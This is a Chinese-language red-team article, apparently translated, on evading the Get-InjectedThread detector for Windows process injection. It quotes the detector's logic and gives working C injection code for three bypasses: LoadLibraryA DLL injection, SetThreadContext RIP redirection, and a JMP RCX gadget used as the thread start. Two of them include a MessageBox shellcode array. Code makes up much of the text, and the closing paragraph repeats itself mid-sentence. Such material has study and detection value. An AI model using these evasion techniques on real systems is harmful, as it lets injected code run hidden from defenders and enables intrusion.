前言
在安全这个领域,我非常热衷于红蓝对抗这样的“猫鼠大战”,在比赛过程中,双方会迫使对方去尽全力投入比赛。通常,有许多非常厉害的工具不断发布,这些工具就可以帮助防守方检测恶意软件或监测Shellcode是否已经被执行。而对于红方(攻击方)而言,如果想要进行一次成功的渗透,那么了解这些防御工具的功能就至关重要。
最近,我阅读了一篇非常不错的文章《Defenders Think in Graphs Too!》,该文章可以在SpectreOps的博客上找到。这篇文章是一个系列专题的开篇,主要研究进程注入检测的案例,并进行数据采集、数据评估和数据分析。如果你还没有读过,我强烈建议你首先阅读这篇文章。
在该文章中,讨论了一个名为“Get-InjectedThread”的工具,该工具是一个PowerShell脚本,能够列举当前正在运行的进程,检测并显示可能已经被进程注入的可疑进程。这一工具可以在GitHub下载。
当我看到这一工具时,我想的第一件事就是,如果在对抗期间遇到了这样的工具,应该如何绕过它的检测。此外,由于我对Windows安全这一领域比较感兴趣,所以我希望能够在这一工具的基础上,对Get-InjectedThread进行改进和迭代,或者开发出来原理类似的其他工具。本文将主要采用几种不同的技术,来帮助大家理解并掌握如何绕过此类分析。
初尝试:如何绕过检测
通常,当我们试图在另一个进程中执行代码时,会使用VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread这条链。那么,让我们看看Get-InjectedThread是如何实际使用的。首先将Shellcode注入进程,随后运行Get-InjectedThread:
由此可见,Get-InjectedThread的效果确实不错。在这里,我们看到注入到cmd.exe中的Shellcode已经被捕获到,并且显示了出来,这就说明该进程是非常可疑的。Get-InjectedThread之所以能够实现这一点,是因为它会对系统上正在运行的线程进行分析。随后,会遍历与线程起始地址相关联的内存区域,如果发现内存中缺少MEM_IMAGE标志,那么该工具会提示该线程很可能是从动态分配的内存中运行(很可能来自VirtualAllocEx或类似调用),而不是从DLL或EXE中派生出来。
现在,我们查看一下它的代码,来看看究竟是如何进行这些检查工作的:
function Get-InjectedThread
{
...
$hSnapshot = CreateToolhelp32Snapshot -ProcessId 0 -Flags 4
$Thread = Thread32First -SnapshotHandle $hSnapshot
do
{
$proc = Get-Process -Id $Thread.th32OwnerProcessId
if($Thread.th32OwnerProcessId -ne 0 -and $Thread.th32OwnerProcessId -ne 4)
{
$hThread = OpenThread -ThreadId $Thread.th32ThreadID -DesiredAccess $THREAD_ALL_ACCESS -InheritHandle $false
if($hThread -ne 0)
{
$BaseAddress = NtQueryInformationThread -ThreadHandle $hThread
$hProcess = OpenProcess -ProcessId $Thread.th32OwnerProcessID -DesiredAccess $PROCESS_ALL_ACCESS -InheritHandle $false
if($hProcess -ne 0)
{
$memory_basic_info = VirtualQueryEx -ProcessHandle $hProcess -BaseAddress $BaseAddress
$AllocatedMemoryProtection = $memory_basic_info.AllocationProtect -as $MemProtection
$MemoryProtection = $memory_basic_info.Protect -as $MemProtection
$MemoryState = $memory_basic_info.State -as $MemState
$MemoryType = $memory_basic_info.Type -as $MemType
if($MemoryState -eq $MemState::MEM_COMMIT -and $MemoryType -ne $MemType::MEM_IMAGE)
{
...
在上述代码中,有几个地方需要我们重点关注。首先是:
$BaseAddress = NtQueryInformationThread -ThreadHandle $hThread
该命令负责检索正在运行的线程的入口地址。在注入Shellcode时,通常会是提供给CreateRemoteThread调用的地址。例如:
threadHandle = CreateRemoteThread(
processHandle,
NULL,
0,
BASE_ADDRESS,
NULL,
CREATE_SUSPENDED,
NULL
);
接下来一个有意思的调用是:
$memory_basic_info = VirtualQueryEx -ProcessHandle $hProcess -BaseAddress $BaseAddress
这一行代码是在调用Win32函数VirtualQueryEx,该函数会返回与正在运行线程的基地址相关的内存分配信息,其中包括内存保护、大小、标志等等。
得到该信息后,会用于以下命令中:
if($MemoryState -eq $MemState::MEM_COMMIT -and $MemoryType -ne $MemType::MEM_IMAGE)
在这里我们看到有一个最终的检查,会检查线程的基地址是否存在MEM_COMMIT标志且缺少MEM_IMAGE标志。如果判断为真,那么该线程就很可能是从动态内存中注入并运行的,工具将突出显示该线程以提醒用户。
在了解上述原理之后,我们来看看是否有方法可以绕过这些检查,同时还得保证该工具处于正常运行状态之下。
通过LoadLibrary注入DLL
要避免被该工具发现,我们选择的第一种方法是将Shellcode添加到DLL中,然后使用LoadLibraryA作为我们的入口点。通过这样,我们能绕过下述检查,因为入口点现在已经在MEM_IMAGE标记的内存中:
if($MemoryState -eq $MemState::MEM_COMMIT -and $MemoryType -ne $MemType::MEM_IMAGE)
要定位LoadLibraryA,我们需要进行如下步骤:
1、获取LoadLibraryA调用的地址;
2、在目标进程中分配内存;
3、将我们DLL的路径写入分配的内存中;
4、调用启动一个新线程,入口点为LoadLibraryA,将DLL路径内存地址作为参数传递。
具体实现如下:
int example_loadlibrary(int pid) {
char currentDir[MAX_PATH];
SIZE_T bytesWritten = 0;
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (processHandle == INVALID_HANDLE_VALUE) {
printf("[X] Error: Could not open process with PID %dn", pid);
return 1;
}
void *alloc = VirtualAllocEx(processHandle, 0, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (alloc == NULL) {
printf("[X] Error: Could not allocate memory in processn");
return 1;
}
void *_loadLibrary = GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA");
if (_loadLibrary == NULL) {
printf("[X] Error: Could not find address of LoadLibraryn");
return 1;
}
GetCurrentDirectoryA(MAX_PATH, currentDir);
strncat_s(currentDir, "\injectme.dll", MAX_PATH);
printf("[*] Injecting path to load DLL: %sn", currentDir);
if (!WriteProcessMemory(processHandle, alloc, currentDir, strlen(currentDir) + 1, &bytesWritten)) {
printf("[X] Error: Could not write into process memoryn");
return 2;
}
printf("[*] Written %d bytesn", bytesWritten);
if (CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)_loadLibrary, alloc, 0, NULL) == NULL) {
printf("[X] Error: CreateRemoteThread failed [%d] :(n", GetLastError());
return 2;
}
}
我们尝试让注入的DLL能够调用MessageBoxA来证明是否成功:
在这里能看到,我们已经成功地将我们的Shellcode注入了cmd.exe,随后弹出了消息框。重要的是,这次注入过程没有被Get-InjectedThread监测到。
当然,这种方法有一个明显的缺点,就是我们要将一个DLL放到磁盘上来执行注入,这样一来就增大了我们Shellcode被发现的风险。这是一个不错的开头,但我们还需要尝试能否解决这一问题。
SetThreadContext
我们现在知道,避免被捕获的一个好方法是将线程的入口地址设置为带有MEM_IMAGE标志的内存区域中。但是,如果我们在启动之前更新线程的入口点,这样能够逃避检测吗?
在接下来的尝试中,我们打算利用SetThreadContext调用,将执行流重定向到我们注入的Shellcode,主要分为以下几个步骤:
1、在目标进程中分配内存,以存储我们的Shellcode;
2、将Shellcode复制到分配的内存中;
3、派生一个挂起的线程,并将ThreadProc设置为任意带有MEM_IMAGE标志的内存区域;
4、对挂起的线程进行检索,查找当前的寄存器;
5、更新RIP寄存器,指向存储在分配内存中的Shellcode;
6、恢复执行。
通过上述方法,尽管我们还没有真正从带有MEM_IMAGE标志的内存区域的地址执行代码,但线程的基地址将是这一地址。然后,通过对RIP寄存器进行修改,使其指向我们的Shellcode,从而实现了Shellcode的执行,同时也绕过了Get-InjectedThread。我们的代码如下:
unsigned char shellcode[256] = {
0x90, 0x90, 0x90, 0x90, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x31, 0xc9, 0x48, 0x8d, 0x15,
0x14, 0x00, 0x00, 0x00, 0x49, 0x89, 0xd0, 0x4d, 0x31, 0xc9,
0x48, 0xb8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0xff, 0xd0, 0xeb, 0xfe, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64,
0x20, 0x54, 0x65, 0x73, 0x74, 0x00, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff
};
int example_switchsuspend(int pid) {
char currentDir[MAX_PATH];
SIZE_T bytesWritten = 0;
HANDLE threadHandle;
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (processHandle == INVALID_HANDLE_VALUE) {
printf("[X] Error: Could not open process with PID %dn", pid);
return 1;
}
void *alloc = VirtualAllocEx(processHandle, 0, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == NULL) {
printf("[X] Error: Could not allocate memory in processn");
return 1;
}
void *_loadLibrary = GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA");
if (_loadLibrary == NULL) {
printf("[X] Error: Could not find address of LoadLibraryn");
return 1;
}
*(DWORD64 *)(shellcode + 26) = (DWORD64)GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA");
if (!WriteProcessMemory(processHandle, alloc, shellcode, sizeof(shellcode), &bytesWritten)) {
printf("[X] Error: Could not write to process memoryn");
return 2;
}
printf("[*] Written %d bytes to %pn", bytesWritten, alloc);
threadHandle = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)_loadLibrary, NULL, CREATE_SUSPENDED, NULL);
if (threadHandle == NULL) {
printf("[X] Error: CreateRemoteThread failed [%d] :(n", GetLastError());
return 2;
}
// Get the current registers set for our thread
CONTEXT ctx;
ZeroMemory(&ctx, sizeof(CONTEXT));
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(threadHandle, &ctx);
printf("[*] RIP register set to %pn", ctx.Rip);
printf("[*] Updating RIP to point to our shellcoden");
ctx.Rip = (DWORD64)alloc;
printf("[*] Resuming thread execution at our shellcode addressn");
SetThreadContext(threadHandle, &ctx);
ResumeThread(threadHandle);
}
运行后,证明了第二种执行Shellcode的方法是可行的,可以将我们的线程注入到notepad.exe中:
返回导向线程
大家可能了解返回导向编程(Return-oriented Programming),这是一种高级的内存攻击技术,可以绕过现代操作系统的各种通用防御。而在这里我们说的是返回导向线程(Return Oriented Threading),我们要利用现有的带有MEM_IMAGE的二进制文件中的指令,将执行传递给我们的Shellcode。因此我们的思路大致如下:
1、在目标进程中分配内存,存储我们的Shellcode;
2、将Shellcode复制到分配的内存中;
3、在目标进程中寻找一个“小工具”,从而让线程跳转到Shellcode中;
4、用指向这一“小工具”的ThreadProc启动我们的线程。
目前已经知道,需要使用CreateRemoteThread调用来执行我们的线程,该调用会执行ThreadProc的地址。同时,我们可以将可选的参数传递给ThreadProc。
在x64进程中,参数会被传入rcx寄存器。那么,我们的”小工具”是否可以是jmp rcx呢?
这样一来,我们可以将ThreadProc的地址设置为jmp rcx,并将Shellcode的地址作为参数。同时,这样也能确保线程的基地址位于MEM_IMAGE的内存区域中,应该能够绕过检测。
下面是该方案具体实现的示例:
unsigned char shellcode[256] = {
0x90, 0x90, 0x90, 0x90, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x31, 0xc9, 0x48, 0x8d, 0x15,
0x14, 0x00, 0x00, 0x00, 0x49, 0x89, 0xd0, 0x4d, 0x31, 0xc9,
0x48, 0xb8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0xff, 0xd0, 0xeb, 0xfe, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64,
0x20, 0x54, 0x65, 0x73, 0x74, 0x00, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff
};
int example_rop(int pid) {
char currentDir[MAX_PATH], buffer[4096];
SIZE_T bytesWritten = 0, bytesRead = 0;
HANDLE threadHandle;
DWORD i = 0, j = 0, threadId = 0;
void *retGadget = NULL;
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (processHandle == INVALID_HANDLE_VALUE) {
printf("[X] Error: Could not open process with PID %dn", pid);
return 1;
}
void *alloc = VirtualAllocEx(processHandle, 0, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc == NULL) {
printf("[X] Error: Could not allocate memory in processn");
return 1;
}
// Update our MessageBoxA shellcode with the API address
*(DWORD64 *)(shellcode + 26) = (DWORD64)GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA");
// Test victim process, VBoxTray
char *base = (char *)LoadLibraryA("VBoxTray.exe");
if (base == NULL) {
printf("[X] Could not load DLLn");
return 2;
}
// Hunting for a JMP RCX (xffxe1) instruction
for (i = 0; i < 100000 && retGadget == NULL; i += bytesRead) {
printf("[*] Hunting for gadget at address %pn", (char *)base + i);
ReadProcessMemory(processHandle, (char *)base + i, buffer, 4096, &bytesRead);
for (j = 0; j + 1 < bytesRead && retGadget == NULL; j++) {
if (buffer[j] == 'xff' && buffer[j+1] == 'xe1') {
retGadget = (char *)base + i + j;
}
}
}
if (retGadget == NULL) {
printf("[X] Error: Could not find JMP gadgetn");
return 2;
}
printf("[*] Found JMP RCX gadget at address %pn", retGadget);
if (!WriteProcessMemory(processHandle, alloc, shellcode, sizeof(shellcode), &bytesWritten)) {
printf("[X] Error writing shellcode into memoryn");
return 2;
}
printf("[*] Written %d bytes of shellcode to %pn", bytesWritten, alloc);
printf("[*] Starting thread executionn");
threadHandle = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)((char*)retGadget), alloc, 0, &threadId);
if (threadHandle == NULL) {
printf("[X] Error: CreateRemoteThread failed [%d] :(n", GetLastError());
return 2;
}
printf("[*] Thread ID %x createdn", threadId);
}
当我们执行后,发现Shellcode成功运行,同时也没有产生告警:
总结
这样一来,就大功告成了。我们发现有几种不同的方法可以派生出线程,同时隐藏实际的开始地址。如果你遇到了类似的检测技术,也可以尝试采用这样的方法来进行绕过。当然,如果你能够借助Get-InjectedThreads检测到上述示例的注入过程,希望能与我交这样一来,就大功告成了。我们发现有几种不同的方法可以派生出线程,同时隐藏实际的开始地址。如果你遇到了类似的检测技术,也可以尝试采用这样的方法来进行绕过。当然,如果你能够借助Get-InjectedThreads检测到上述示例的注入过程,希望能与我交流讨论!
扩展阅读
[1] Get-InjectedThreads:
https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2
[2] EndGame – Hunting in memory:
https://www.endgame.com/blog/technical-blog/hunting-memory
[3] Hunting in memory presentation:
https://www.sans.org/summit-archives/file/summit-archive-1492714038.pdf
[4] 关于ROP(返回导向编程)技术:
https://www.anquanke.com/post/id/85619